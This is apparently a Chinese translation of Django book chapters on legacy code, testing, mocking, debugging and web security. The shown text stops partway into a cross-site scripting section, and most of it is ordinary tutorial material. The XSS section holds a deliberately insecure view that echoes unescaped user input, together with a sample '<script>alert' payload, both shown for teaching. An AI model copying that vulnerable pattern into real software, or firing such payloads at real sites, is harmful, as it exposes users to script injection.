很少能找到具有良好文档的遗留代码。即使您有文档,文档可能与代码不同步,这可能会导致进一步的问题。通常,理解应用程序功能的最佳指南是可执行的测试用例和代码本身。

官方的 Django 文档已经按版本在docs.djangoproject.com上组织。在任何页面上,您都可以使用页面底部右侧的选择器快速切换到 Django 先前版本的相应页面:

理解代码库

同样,托管在readthedocs.org上的任何 Django 包的文档也可以追溯到其先前的版本。例如,您可以通过单击页面左下角的选择器选择django-braces的文档,一直回到 v1.0.0:

理解代码库

创建大图

大多数人发现,如果向他们展示一个高层次的图表,他们更容易理解一个应用程序。虽然理想情况下,这是由了解应用程序工作原理的人创建的,但也有工具可以创建非常有帮助的 Django 应用程序的高层次描述。

graph_models管理命令可以生成应用程序中所有模型的图形概述,该命令由django-command-extensions包提供。如下图所示,可以一目了然地理解模型类及其关系:

创建大图

SuperBook 项目中使用的模型类通过箭头连接,指示它们的关系

实际上,这个可视化是使用 PyGraphviz 创建的。对于甚至中等复杂的项目,这可能会变得非常庞大。因此,如果应用程序被逻辑分组并分别可视化,可能会更容易。

注意

PyGraphviz 安装和使用

如果您发现安装 PyGraphviz 具有挑战性,那么不用担心,您并不孤单。最近,我在 Ubuntu 上安装时遇到了许多问题,从 Python 3 不兼容到文档不完整。为了节省您的时间,我列出了对我有效的步骤来达到一个可用的设置。

在 Ubuntu 上,您需要安装以下软件包才能安装 PyGraphviz:

$ sudo apt-get install python3.4-dev graphviz libgraphviz-dev pkg-config

现在激活您的虚拟环境并运行 pip 从 GitHub 直接安装 PyGraphviz 的开发版本,该版本支持 Python 3:

$ pip install git+http://github.com/pygraphviz/pygraphviz.git#egg=pygraphviz

接下来,安装django-extensions并将其添加到您的INSTALLED_APPS中。现在,您已经准备好了。

以下是一个示例用法,用于创建仅包含两个应用程序的 GraphViz dot 文件,并将其转换为 PNG 图像以进行查看:

$ python manage.py graph_models app1 app2 > models.dot
$ dot -Tpng models.dot -o models.png

渐进式更改还是完全重写?

通常情况下,你会被应用所有者交付遗留代码,并怀着真诚的希望,希望大部分代码可以立即或经过一些小的调整后就可以使用。然而,阅读和理解庞大而经常过时的代码库并不是一件容易的工作。毫不奇怪,大多数程序员更愿意从事全新的开发工作。

在最好的情况下,遗留代码应该易于测试,有良好的文档记录,并且灵活适应现代环境,以便您可以立即开始进行渐进式更改。在最坏的情况下,您可能会建议放弃现有代码,进行完全重写。或者,通常决定采取的是短期方法,即继续进行渐进式更改,并且可能正在进行完全重新实现的长期并行努力。

在做出此类决定时,一个通用的经验法则是——如果重写应用程序和维护应用程序的成本低于随时间维护旧应用程序的成本,那么建议进行重写。必须考虑所有因素,例如让新程序员熟悉所需时间、维护过时硬件的成本等。

有时,应用领域的复杂性成为重写的巨大障碍,因为在构建旧代码过程中学到的许多知识都会丢失。通常,对遗留代码的依赖表明应用设计不佳,例如未能将业务规则从应用逻辑中外部化。

您可能进行的最糟糕的重写形式可能是转换,或者是机械地将一种语言转换为另一种语言,而不利用现有的最佳实践。换句话说,您失去了通过消除多年的混乱来现代化代码库的机会。

代码应被视为一种负债而不是一种资产。尽管这听起来可能有些违反直觉,但如果您可以用更少的代码实现业务目标,您的生产力将大大提高。拥有更少的代码需要测试、调试和维护,不仅可以减少持续成本,还可以使您的组织更具敏捷性和灵活性以应对变化。

提示

代码是一种负债而不是一种资产。更少的代码更易维护。

无论您是在添加功能还是精简代码,都不应在没有测试的情况下触碰工作中的遗留代码。

在进行任何更改之前编写测试

在《与遗留代码有效工作》一书中,迈克尔·费瑟斯将遗留代码定义为简单的没有测试的代码。他解释说,有了测试,可以轻松快速地修改代码的行为并进行验证。在没有测试的情况下,无法判断更改是否使代码变得更好还是更糟。

通常情况下,我们对遗留代码了解不足,无法自信地编写测试。迈克尔建议编写保留和记录现有行为的测试,这些测试称为表征测试。

与通常的编写测试的方法不同,在编写表征测试时,您将首先编写一个带有虚拟输出(例如X)的失败测试,因为您不知道预期结果。当测试工具出现错误时,例如“预期输出为 X,但得到了 Y”,然后您将更改测试以期望Y。现在测试将通过,并且它成为了代码现有行为的记录。

请注意,我们可能记录有错误的行为。毕竟,这是陌生的代码。然而,在开始更改代码之前,编写这些测试是必要的。稍后,当我们更了解规格和代码时,我们可以修复这些错误并更新我们的测试(不一定按照这个顺序)。

编写测试的逐步过程

在更改代码之前编写测试类似于在修复旧建筑之前搭建脚手架。它提供了一个结构框架,帮助您自信地进行修复。

您可能希望以以下步骤逐步进行这个过程:

  1. 确定您需要进行更改的区域。编写着重于这个区域的表征测试,直到您满意地捕捉到它的行为。

  2. 看看你需要做出的改变,并为这些改变编写具体的测试用例。更喜欢较小的单元测试而不是较大和较慢的集成测试。

  3. 引入增量更改并进行锁步测试。如果测试失败,那么尝试分析是否是预期的。不要害怕甚至打破表征测试,如果该行为是打算更改的。

如果您的代码周围有一套良好的测试,那么您可以快速找到更改代码的影响。

另一方面,如果你决定通过放弃代码而不是数据来重写,那么 Django 可以帮助你很多。

遗留数据库

Django 文档中有一个完整的遗留数据库部分,这是正确的,因为你会经常遇到它们。数据比代码更重要,而数据库是大多数企业数据的存储库。

您可以通过将其数据库结构导入 Django 来现代化使用其他语言或框架编写的遗留应用程序。作为一个直接的优势,您可以使用 Django 管理界面来查看和更改您的遗留数据。

Django 通过inspectdb管理命令使这变得容易,如下所示:

$ python manage.py inspectdb > models.py

如果在设置配置为使用遗留数据库的情况下运行此命令,它可以自动生成 Python 代码,该代码将放入您的模型文件中。

如果您正在使用这种方法来集成到遗留数据库中,以下是一些最佳实践:

  • 事先了解 Django ORM 的限制。目前,不支持多列(复合)主键和 NoSQL 数据库。

  • 不要忘记手动清理生成的模型,例如删除冗余的ID字段,因为 Django 会自动创建它们。

  • 外键关系可能需要手动定义。在一些数据库中,自动生成的模型将它们作为整数字段(后缀为_id)。

  • 将模型组织到单独的应用程序中。稍后,将更容易在适当的文件夹中添加视图、表单和测试。

  • 请记住,运行迁移将在遗留数据库中创建 Django 的管理表(django_*auth_*)。

在理想的世界中,您的自动生成的模型将立即开始工作,但在实践中,这需要大量的试验和错误。有时,Django 推断的数据类型可能与您的期望不符。在其他情况下,您可能希望向模型添加额外的元信息,如unique_together

最终,你应该能够在熟悉的 Django 管理界面中看到那个老化的 PHP 应用程序中锁定的所有数据。我相信这会让你微笑。

总结

在本章中,我们讨论了理解遗留代码的各种技术。阅读代码经常是被低估的技能。但我们需要明智地重用好的工作代码,而不是重复造轮子。在本章和本书的其余部分,我们强调编写测试用例作为编码的一个组成部分的重要性。

在下一章中,我们将讨论编写测试用例和随之而来的经常令人沮丧的调试任务。

第九章:测试和调试

在本章中,我们将讨论以下主题:

  • 测试驱动开发

  • 编写测试的注意事项

  • 模拟

  • 调试

  • 日志

每个程序员至少都考虑过跳过编写测试。在 Django 中,默认的应用程序布局具有一个带有一些占位内容的tests.py模块。这是一个提醒,需要测试。然而,我们经常会有跳过它的诱惑。

在 Django 中,编写测试与编写代码非常相似。实际上,它几乎就是代码。因此,编写测试的过程可能看起来像是编写代码的两倍(甚至更多)。有时,我们在时间上承受如此大的压力,以至于在试图让事情正常运行时,花时间编写测试似乎是荒谬的。

然而,最终,如果您希望其他人使用您的代码,跳过测试是毫无意义的。想象一下,您发明了一种电动剃须刀,并试图向朋友出售,说它对您来说效果很好,但您没有进行适当的测试。作为您的好朋友,他或她可能会同意,但是想象一下,如果您告诉这个情况给一个陌生人,那将是多么可怕。

为什么要编写测试?

软件中的测试检查它是否按预期工作。没有测试,您可能能够说您的代码有效,但您将无法证明它是否正确工作。

此外,重要的是要记住,在 Python 中省略单元测试可能是危险的,因为它具有鸭子类型的特性。与 Haskell 等语言不同,类型检查无法在编译时严格执行。在 Python 开发中,单元测试在运行时(尽管在单独的执行中)是必不可少的。

编写测试可能是一种令人谦卑的经历。测试将指出您的错误,并且您将有机会进行早期的调整。事实上,有些人主张在编写代码之前先编写测试。

测试驱动开发

测试驱动开发(TDD)是一种软件开发形式,您首先编写测试,运行测试(最初会失败),然后编写使测试通过所需的最少代码。这可能听起来有违直觉。为什么我们需要在知道我们还没有编写任何代码并且确定它会因此失败时编写测试呢?

然而,请再次看一看。我们最终确实会编写仅满足这些测试的代码。这意味着这些测试不是普通的测试,它们更像是规范。它们告诉你可以期待什么。这些测试或规范将直接来自您的客户的用户故事。您只需编写足够的代码使其正常工作。

测试驱动开发的过程与科学方法有许多相似之处,这是现代科学的基础。在科学方法中,重要的是首先提出假设,收集数据,然后进行可重复和可验证的实验来证明或证伪你的假设。

我的建议是,一旦您熟悉为项目编写测试,就尝试 TDD。初学者可能会发现很难构建一个检查代码应该如何行为的测试用例。出于同样的原因,我不建议探索性编程使用 TDD。

编写测试用例

有不同类型的测试。但是,至少程序员需要了解单元测试,因为他们必须能够编写它们。单元测试检查应用程序的最小可测试部分。集成测试检查这些部分是否与彼此良好地配合。

这里的关键词是单元。一次只测试一个单元。让我们看一个简单的测试用例的例子:

# tests.py
from django.test import TestCase
from django.core.urlresolvers import resolve
from .views import HomeView
class HomePageOpenTestCase(TestCase):
    def test_home_page_resolves(self):
        view = resolve('/')
        self.assertEqual(view.func.__name__,
                         HomeView.as_view().__name__)

这是一个简单的测试,检查当用户访问我们网站域的根目录时,他们是否被正确地带到主页视图。像大多数好的测试一样,它有一个长而自描述的名称。该测试简单地使用 Django 的resolve()函数将视图可调用匹配到/根位置的视图函数,通过它们的名称。

更重要的是要注意这个测试中没有做什么。我们没有尝试检索页面的 HTML 内容或检查其状态代码。我们限制自己只测试一个单元,即resolve()函数,它将 URL 路径映射到视图函数。

假设此测试位于项目的app1中,可以使用以下命令运行测试:

$ ./manage.py test app1
Creating test database for alias 'default'...
.
-----------------------------------------------------------------
Ran 1 test in 0.088s

OK
Destroying test database for alias 'default'...

此命令将运行app1应用程序或包中的所有测试。默认的测试运行程序将在此包中的所有模块中查找与模式test*.py匹配的测试。

Django 现在使用 Python 提供的标准unittest模块,而不是捆绑自己的模块。您可以通过从django.test.TestCase继承来编写testcase类。该类通常具有以下命名约定的方法:

  • test*:任何以test开头的方法都将作为测试方法执行。它不带参数,也不返回任何值。测试将按字母顺序运行。

  • setUp(可选):此方法将在每个测试方法运行之前运行。它可用于创建公共对象或执行其他初始化任务,使测试用例处于已知状态。

  • tearDown(可选):此方法将在测试方法之后运行,无论测试是否通过。通常在此执行清理任务。

测试用例是逻辑上组织测试方法的一种方式,所有这些方法都测试一个场景。当所有测试方法都通过(即不引发任何异常)时,测试用例被视为通过。如果其中任何一个失败,则测试用例失败。

assert 方法

每个测试方法通常调用assert*()方法来检查测试的某些预期结果。在我们的第一个示例中,我们使用assertEqual()来检查函数名称是否与预期函数匹配。

assertEqual()类似,Python 3 的unittest库提供了超过 32 个断言方法。Django 通过超过 19 个特定于框架的断言方法进一步扩展了它。您必须根据您期望的最终结果选择最合适的方法,以便获得最有帮助的错误消息。

让我们通过查看具有以下setUp()方法的示例testcase来看看为什么:

def setUp(self):
    self.l1 = [1, 2]
    self.l2 = [1, 0]

我们的测试是断言l1l2是否相等(鉴于它们的值,它应该失败)。让我们看看几种等效的方法来实现这一点:

测试断言语句 测试输出的外观(省略不重要的行)

|

assert self.l1 == self.l2

|

assert self.l1 == self.l2
AssertionError

|

|

self.assertEqual(self.l1, self.l2)

|

AssertionError: Lists differ: [1, 2] != [1, 0]
First differing element 1:
2
0

|

|

self.assertListEqual( self.l1, self.l2)

|

AssertionError: Lists differ: [1, 2] != [1, 0]

First differing element 1:
2
0

|

|

self.assertListEqual(self.l1, None)

|

AssertionError: Second sequence is not a list: None

|

第一条语句使用了 Python 内置的assert关键字。请注意,它抛出的错误最不有帮助。您无法推断出self.l1self.l2变量中的值或类型。这主要是我们需要使用assert*()方法的原因。

接下来,assertEqual()抛出的异常非常有帮助,它告诉您正在比较两个列表,甚至告诉您它们开始有差异的位置。这与更专门的assertListEqual()函数抛出的异常完全相同。这是因为,正如文档所告诉您的那样,如果assertEqual()给出两个列表进行比较,那么它会将其交给assertListEqual()

尽管如最后一个示例所证明的那样,对于测试来说,始终最好使用最具体的assert*方法。由于第二个参数不是列表,错误明确告诉您期望的是列表。

提示

在测试中使用最具体的assert*方法。

因此,您需要熟悉所有的assert方法,并选择最具体的方法来评估您期望的结果。这也适用于当您检查应用程序是否没有执行不应该执行的操作时,即负面测试用例。您可以分别使用assertRaisesassertWarns来检查异常或警告。

编写更好的测试用例

我们已经看到,最好的测试用例一次测试一小部分代码。它们还需要快速。程序员需要在每次提交到源代码控制之前至少运行一次测试。即使延迟几秒钟也可能会诱使程序员跳过运行测试(这不是一件好事)。

以下是一个好的测试用例的一些特点(当然,这是一个主观的术语),以易于记忆的助记符“F.I.R.S.T”形式的类测试用例:

  1. 快速:测试越快,运行次数越多。理想情况下,您的测试应该在几秒钟内完成。

  2. 独立:每个测试用例必须独立于其他测试用例,并且可以以任何顺序运行。

  3. 可重复:结果在每次运行测试时必须相同。理想情况下,所有随机和变化因素都必须在运行测试之前得到控制或设置为已知值。

  4. 小型:测试用例必须尽可能简短,以提高速度和易于理解。

  5. 透明:避免棘手的实现或模糊的测试用例。

此外,确保您的测试是自动的。消除任何手动步骤,无论多么小。自动化测试更有可能成为团队工作流程的一部分,并且更容易用于工具化目的。

也许,编写测试用例时更重要的是要记住的一些不要做的事情:

  • 不要(重新)测试框架:Django 经过了充分的测试。不要检查 URL 查找、模板渲染和其他与框架相关的功能。

  • 不要测试实现细节:测试接口,留下较小的实现细节。这样以后重构会更容易,而不会破坏测试。

  • 测试模型最多,模板最少:模板应该具有最少的业务逻辑,并且更改频率更高。

  • 避免 HTML 输出验证:测试视图使用其上下文变量的输出,而不是其 HTML 渲染的输出。

  • 避免在单元测试中使用 Web 测试客户端:Web 测试客户端调用多个组件,因此更适合集成测试。

  • 避免与外部系统交互:如果可能的话,对其进行模拟。数据库是一个例外,因为测试数据库是内存中的,而且非常快。

当然,您可以(也应该)在有充分理由的情况下打破规则(就像我在我的第一个例子中所做的那样)。最终,您在编写测试时越有创意,就越早发现错误,您的应用程序就会越好。

模拟

大多数现实项目的各个组件之间存在各种相互依赖关系。在测试一个组件时,其结果不能受到其他组件行为的影响。例如,您的应用程序可能调用一个可能在网络连接方面不可靠或响应速度慢的外部网络服务。

模拟对象通过具有相同接口来模拟这些依赖关系,但它们会对方法调用做出预先设定的响应。在测试中使用模拟对象后,您可以断言是否调用了某个特定方法,并验证预期的交互是否发生。

模式:服务对象(见第三章,模型)中提到的超级英雄资格测试为例。我们将使用 Python 3 的unittest.mock库在测试中模拟对服务对象方法的调用:

# profiles/tests.py
from django.test import TestCase
from unittest.mock import patch
from django.contrib.auth.models import User

class TestSuperHeroCheck(TestCase):
    def test_checks_superhero_service_obj(self):
        with patch("profiles.models.SuperHeroWebAPI") as ws:
            ws.is_hero.return_value = True
            u = User.objects.create_user(username="t")
            r = u.profile.is_superhero()
        ws.is_hero.assert_called_with('t')
        self.assertTrue(r)

在这里,我们在with语句中使用patch()作为上下文管理器。由于配置文件模型的is_superhero()方法将调用SuperHeroWebAPI.is_hero()类方法,我们需要在models模块内对其进行模拟。我们还将硬编码此方法的返回值为True

最后两个断言检查方法是否使用正确的参数进行了调用,以及is_hero()是否返回了True。由于SuperHeroWebAPI类的所有方法都已被模拟,这两个断言都将通过。

模拟对象来自一个称为测试替身的家族,其中包括存根、伪造等。就像电影替身代替真正的演员一样,这些测试替身在测试时代替真实对象使用。虽然它们之间没有明确的界限,但模拟对象是可以测试行为的对象,而存根只是占位符实现。

模式 - 测试固件和工厂

问题:测试一个组件需要在测试之前创建各种先决对象。在每个测试方法中显式创建它们会变得重复。

解决方案:利用工厂或固件来创建测试数据对象。

问题细节

在运行每个测试之前,Django 会将数据库重置为其初始状态,就像运行迁移后的状态一样。大多数测试都需要创建一些初始对象来设置状态。通常情况下,不同的初始对象不会为不同的场景创建,而是通常创建一组通用的初始对象。

在大型测试套件中,这可能很快变得难以管理。这些初始对象的种类繁多,很难阅读和理解。这会导致测试数据本身中难以找到的错误!

作为一个常见的问题,有几种方法可以减少混乱并编写更清晰的测试用例。

解决方案细节

我们将首先看一下 Django 文档中提供的解决方案 - 测试固件。在这里,测试固件是一个包含一组数据的文件,可以导入到数据库中,使其达到已知状态。通常情况下,它们是从同一数据库中导出的 YAML 或 JSON 文件,当时数据库中有一些数据。

例如,考虑以下使用测试固件的测试用例:

from django.test import TestCase

class PostTestCase(TestCase):
    fixtures = ['posts']

    def setUp(self):
        # Create additional common objects
        pass

    def test_some_post_functionality(self):
        # By now fixtures and setUp() objects are loaded
        pass

在每个测试用例中调用setUp()之前,指定的固件posts会被加载。粗略地说,固件将在固件目录中搜索具有某些已知扩展名的文件,例如app/fixtures/posts.json

然而,固件存在许多问题。固件是数据库的静态快照。它们依赖于模式,并且每当模型更改时都必须更改。当测试用例的断言更改时,它们也可能需要更新。手动更新一个包含多个相关对象的大型固件文件并不是一件简单的事情。

出于所有这些原因,许多人认为使用固件是一种反模式。建议您改用工厂。工厂类创建特定类的对象,可以在测试中使用。这是一种 DRY 的方式来创建初始测试对象。

让我们使用模型的objects.create方法来创建一个简单的工厂:

from django.test import TestCase
from .models import Post

class PostFactory:
    def make_post(self):
        return Post.objects.create(message="")

class PostTestCase(TestCase):

    def setUp(self):
        self.blank_message = PostFactory().makePost()

    def test_some_post_functionality(self):
        pass

与使用固件相比,初始对象的创建和测试用例都在一个地方。固件将静态数据原样加载到数据库中,而不调用模型定义的save()方法。由于工厂对象是动态生成的,它们更有可能通过应用程序的自定义验证。

然而,编写这种工厂类本身存在很多样板代码。基于 thoughtbot 的factory_girlfactory_boy包提供了一个声明性的语法来创建对象工厂。

将先前的代码重写为使用factory_boy,我们得到以下结果:

import factory
from django.test import TestCase
from .models import Post

class PostFactory(factory.Factory):
    class Meta:
        model = Post
    message = ""

class PostTestCase(TestCase):

    def setUp(self):
        self.blank_message = PostFactory.create()
        self.silly_message = PostFactory.create(message="silly")

    def test_post_title_was_set(self):
        self.assertEqual(self.blank_message.message, "")
        self.assertEqual(self.silly_message.message, "silly")

注意在声明性方式下编写的factory类变得多么清晰。属性的值不必是静态的。您可以具有顺序、随机或计算的属性值。如果您希望使用更真实的占位符数据,例如美国地址,那么请使用django-faker包。

总之,我建议大多数需要初始测试对象的项目使用工厂,特别是factory_boy。尽管人们可能仍然希望使用固件来存储静态数据,例如国家列表或 T 恤尺寸,因为它们很少改变。

注意

可怕的预测

在宣布了不可能的最后期限之后,整个团队似乎突然没有时间了。他们从 4 周的 Scrum 冲刺变成了 1 周的冲刺。史蒂夫把他们日历上的每次会议都取消了,除了“今天与史蒂夫的 30 分钟补充会议”。如果他需要与某人交谈,他更喜欢一对一的讨论。

在 Madam O 的坚持下,30 分钟的会议在 S.H.I.M.总部下面 20 层的隔音大厅举行。周一,团队站在一个灰色金属表面的大圆桌周围。史蒂夫笨拙地站在桌子前,用手掌做了一个僵硬的挥动手势。

尽管每个人都曾见过全息图像活跃起来,但每次看到它们都让他们惊叹不已。这个圆盘几乎分成了数百个金属方块,并像未来模型城市中的迷你摩天大楼一样升起。他们花了一秒钟才意识到他们正在看一个 3D 柱状图。

“我们的燃尽图似乎显示出放缓的迹象。我猜这是我们最近用户测试的结果,这是一件好事。但是……”史蒂夫的脸上似乎带着压抑打喷嚏的表情。他小心翼翼地用食指在空中轻轻一弹,图表顺利地向右延伸。

按照目前的速度,预测显示我们最好也要推迟上线几天。我做了一些分析,发现我们在开发的后期发现了一些关键的错误。如果我们能早点发现它们,我们就可以节省很多时间和精力。我想让你们集思广益,想出一些……”

史蒂夫捂住嘴,打了一个响亮的喷嚏。全息图将这解释为放大图表中一个特别无聊的部分的迹象。史蒂夫咒骂着关掉了它。他借了一张餐巾纸,开始用普通的笔记下每个人的建议。

史蒂夫最喜欢的建议之一是编写一个编码清单,列出最常见的错误,比如忘记应用迁移。他还喜欢在开发过程中早期让用户参与并提供反馈的想法。他还记下了一些不寻常的想法,比如为连续集成服务器的状态发布推特。

会议结束时,史蒂夫注意到埃文不见了。“埃文在哪里?”他问。“不知道,”布拉德看起来很困惑地说,“刚才还在这。”

学习更多关于测试

多年来,Django 的默认测试运行器已经有了很大的改进。然而,像py.testnose这样的测试运行器在功能上仍然更胜一筹。它们使你的测试更容易编写和运行。更好的是,它们与你现有的测试用例兼容。

你可能也对知道你的代码有多少百分比是由测试覆盖的感兴趣。这被称为代码覆盖coverage.py是一个非常流行的工具,可以找出这一点。

今天的大多数项目往往使用了大量的 JavaScript 功能。为它们编写测试通常需要一个类似浏览器的环境来执行。Selenium 是一个用于执行此类测试的出色的浏览器自动化工具。

尽管在本书的范围之外详细讨论 Django 中的测试,我强烈建议你了解更多关于它的知识。

如果没有别的,我想通过这一部分传达的两个主要观点是,首先,编写测试,其次,一旦你对编写测试有信心,就要练习 TDD。

调试

尽管进行了最严格的测试,悲哀的现实是,我们仍然不得不处理错误。Django 尽最大努力在报告错误时提供帮助。然而,要识别问题的根本原因需要很多技巧。

幸运的是,通过正确的工具和技术,我们不仅可以识别错误,还可以深入了解代码的运行时行为。让我们来看看其中一些工具。

Django 调试页面

如果您在开发中遇到任何异常,即DEBUG=True时,那么您可能已经看到了类似以下截图的错误页面:

Django 调试页面

由于它经常出现,大多数开发人员倾向于忽略此页面中的丰富信息。以下是一些要查看的地方:

  • 异常详细信息:显然,您需要非常仔细地阅读异常告诉您的内容。

  • 异常位置:这是 Python 认为错误发生的位置。在 Django 中,这可能是错误的根本原因,也可能不是。

  • 回溯:这是错误发生时的调用堆栈。导致错误的行将在最后。导致它的嵌套调用将在其上方。不要忘记单击“Local vars”箭头以检查异常发生时变量的值。

  • 请求信息:这是一个表格(未在截图中显示),显示上下文变量、元信息和项目设置。在此处检查请求中的格式错误。

更好的调试页面

通常,您可能希望在默认的 Django 错误页面中获得更多的交互性。django-extensions软件包附带了出色的 Werkzeug 调试器,提供了这个功能。在相同异常的以下截图中,请注意在调用堆栈的每个级别上都有一个完全交互式的 Python 解释器:

更好的调试页面

要启用此功能,除了将django_extensions添加到您的INSTALLED_APPS中,您还需要按照以下方式运行测试服务器:

$ python manage.py runserver_plus

尽管调试信息减少了,但我发现 Werkzeug 调试器比默认错误页面更有用。

打印函数

在代码中到处添加print()函数进行调试可能听起来很原始,但对许多程序员来说,这是首选的技术。

通常,在发生异常的行之前添加print()函数。它可以用于打印导致异常的各行中变量的状态。您可以通过在达到某一行时打印某些内容来跟踪执行路径。

在开发中,打印输出通常会出现在运行测试服务器的控制台窗口中。而在生产中,这些打印输出可能会出现在服务器日志文件中,从而增加运行时开销。

无论如何,在生产中使用它都不是一个好的调试技术。即使您这样做,也应该从提交到源代码控制中的print函数中删除。

日志记录

包括前一部分的主要原因是说 - 您应该用 Python 的logging模块中的日志函数来替换print()函数。日志记录比打印有几个优点:它具有时间戳,明确定义的紧急程度(例如,INFO,DEBUG),而且您以后不必从代码中删除它们。

日志记录对于专业的 Web 开发至关重要。您的生产堆栈中的几个应用程序,如 Web 服务器和数据库,已经使用日志。调试可能会带您到所有这些日志,以追溯导致错误的事件。您的应用程序遵循相同的最佳实践并采用日志记录以记录错误、警告和信息消息是合适的。

与普遍看法不同,使用记录器并不涉及太多工作。当然,设置稍微复杂,但这仅仅是对整个项目的一次性努力。而且,大多数项目模板(例如edge模板)已经为您做到了这一点。

一旦您在settings.py中配置了LOGGING变量,像这样向现有代码添加记录器就非常容易:

# views.py
import logging
logger = logging.getLogger(__name__)

def complicated_view():
    logger.debug("Entered the complicated_view()!")

logging模块提供了各种级别的日志消息,以便您可以轻松过滤掉不太紧急的消息。日志输出也可以以各种方式格式化,并路由到许多位置,例如标准输出或日志文件。阅读 Python 的logging模块文档以了解更多信息。

Django Debug Toolbar

Django Debug Toolbar 不仅是调试的必不可少的工具,还可以跟踪每个请求和响应的详细信息。工具栏不仅在异常发生时出现,而且始终出现在呈现的页面中。

最初,它会出现在浏览器窗口右侧的可点击图形上。单击后,工具栏将作为一个深色半透明的侧边栏出现,并带有几个标题:

Django Debug Toolbar

每个标题都包含有关页面的详细信息,从执行的 SQL 查询数量到用于呈现页面的模板。由于当DEBUG设置为 False 时,工具栏会消失,因此它基本上只能作为开发工具使用。

Python 调试器 pdb

在调试过程中,您可能需要在 Django 应用程序执行中间停止以检查其状态。实现这一点的简单方法是在所需位置使用简单的assert False行引发异常。

如果您想要从那一行开始逐步执行,可以使用交互式调试器,例如 Python 的pdb。只需在想要停止执行的位置插入以下行并切换到pdb

import pdb; pdb.set_trace()

一旦输入pdb,您将在控制台窗口中看到一个命令行界面,带有(Pdb)提示。与此同时,您的浏览器窗口不会显示任何内容,因为请求尚未完成处理。

pdb 命令行界面非常强大。它允许您逐行查看代码,通过打印它们来检查变量,或执行甚至可以更改运行状态的任意代码。该界面与 GNU 调试器 GDB 非常相似。

其他调试器

有几种可替换pdb的工具。它们通常具有更好的界面。以下是一些基于控制台的调试器:

  • ipdb:像 IPython 一样,它具有自动完成、语法着色的代码等。

  • pudb:像旧的 Turbo C IDE 一样,它将代码和变量并排显示。

  • IPython:这不是一个调试器。您可以通过添加from IPython import embed; embed()行在代码中的任何位置获取完整的 IPython shell。

PuDB 是我首选的 pdb 替代品。它非常直观,即使是初学者也可以轻松使用这个界面。与 pdb 一样,只需插入以下代码来中断程序的执行:

import pudb; pudb.set_trace()

执行此行时,将启动全屏调试器,如下所示:

其他调试器

按下?键以获取有关可以使用的完整键列表的帮助。

此外,还有几种图形调试器,其中一些是独立的,例如winpdb,另一些是集成到 IDE 中的,例如 PyCharm,PyDev 和 Komodo。我建议您尝试其中几种,直到找到适合您工作流程的调试器。

调试 Django 模板

项目的模板中可能有非常复杂的逻辑。在创建模板时出现细微错误可能导致难以找到的错误。我们需要在settings.py中将TEMPLATE_DEBUG设置为True(除了DEBUG),以便 Django 在模板出现错误时显示更好的错误页面。

有几种粗糙的调试模板的方法,例如插入感兴趣的变量,如{{ variable }},或者如果要转储所有变量,可以使用内置的debug标签,如下所示(在一个方便的可点击文本区域内):

<textarea onclick="this.focus();this.select()" style="width: 100%;"> 
  {% filter force_escape %} 
 {% debug %} 
  {% endfilter %}
</textarea>

更好的选择是使用前面提到的 Django Debug Toolbar。它不仅告诉您上下文变量的值,还显示模板的继承树。

然而,您可能希望在模板的中间暂停以检查状态(比如在循环内)。调试器对于这种情况非常完美。事实上,可以使用前面提到的任何一个 Python 调试器来为您的模板使用自定义模板标签。

这是一个简单的模板标签的实现。在templatetag包目录下创建以下文件:

# templatetags/debug.py
import pudb as dbg              # Change to any *db
from django.template import Library, Node

register = Library()

class PdbNode(Node):

    def render(self, context):
        dbg.set_trace()         # Debugger will stop here
        return ''

@register.tag
def pdb(parser, token):
    return PdbNode()

在您的模板中,加载模板标签库,将pdb标签插入到需要执行暂停的地方,并进入调试器:

{% load debug %}

{% for item in items %}
    {# Some place you want to break #}
    {% pdb %}
{% endfor %}

在调试器中,您可以检查任何东西,包括使用context字典的上下文变量:

>>> print(context["item"])
Item0

如果您需要更多类似的模板标签用于调试和内省,我建议您查看django-template-debug包。

摘要

在本章中,我们看了 Django 中测试的动机和概念。我们还发现了编写测试用例时应遵循的各种最佳实践。在调试部分,我们熟悉了在 Django 代码和模板中查找错误的各种调试工具和技术。

在下一章中,我们将通过了解各种安全问题以及如何减少各种恶意攻击威胁,使代码更接近生产代码。

第十章:安全

在本章中,我们将讨论以下主题:

  • 各种 Web 攻击和对策

  • Django 可以在哪些方面提供帮助,哪些方面不能提供帮助

  • Django 应用程序的安全检查

一些知名的行业报告表明,网站和 Web 应用程序仍然是网络攻击的主要目标之一。然而,2013 年一家领先的安全公司测试的所有网站中,约 86%都存在至少一个严重的漏洞。

将应用程序发布到公共网络中充满了许多危险,从泄露机密信息到拒绝服务攻击。主流媒体头条新闻关注的安全漏洞主要集中在一些漏洞利用上,比如 Heartbleed、Superfish 和 POODLE,这些漏洞对关键的网站应用程序,比如电子邮件和银行业务,产生了不利影响。事实上,人们常常会想知道 WWW 是代表全球网络还是狂野的西部。

Django 的最大卖点之一是其对安全性的高度关注。在本章中,我们将介绍攻击者使用的顶级技术。正如我们将很快看到的,Django 可以在开箱即用的情况下保护您免受大多数攻击。

我相信要保护您的网站免受攻击,您需要像攻击者一样思考。因此,让我们熟悉一下常见的攻击。

跨站脚本(XSS)

跨站脚本XSS)被认为是当今最普遍的 Web 应用程序安全漏洞,它使攻击者能够在用户查看的网页上执行其恶意脚本(通常是 JavaScript)。通常,服务器会被欺骗以在受信任的内容中提供他们的恶意内容。

恶意代码如何到达服务器?将外部数据输入网站的常见方式如下:

  • 表单字段

  • URL

  • 重定向

  • 诸如广告或分析之类的外部脚本

这些都无法完全避免。真正的问题是当外部数据在未经验证或未经过滤的情况下被使用时(如下图所示)。永远不要相信外部数据:

跨站脚本(XSS)

例如,让我们看一下一段有漏洞的代码,以及如何对其进行 XSS 攻击。强烈建议不要在任何形式中使用此代码:

class XSSDemoView(View):
    def get(self, request):

        # WARNING: This code is insecure and prone to XSS attacks
        #          *** Do not use it!!! ***
        if 'q' in request.GET:
            return HttpResponse("Searched for: {}".format(
                    request.GET['q']))
        else:
            return HttpResponse("""<form method="get">
        <input type="text" name="q" placeholder="Search" value="">
        <button type="submit">Go</button>
        </form>""")

这是一个View类,当没有任何GET参数访问时,它会显示一个搜索表单。如果提交搜索表单,它会显示用户在表单中输入的搜索字符串。

现在在一个过时的浏览器(比如 IE 8)中打开这个视图,并在表单中输入以下搜索词并提交:

<script>alert("pwned")</script>

毫不奇怪,浏览器将显示一个带有不祥消息的警报框。请注意,这种攻击在最新的 Webkit 浏览器(如 Chrome)中会失败,并在控制台中显示错误——拒绝执行 JavaScript 脚本。在请求中找到脚本的源代码

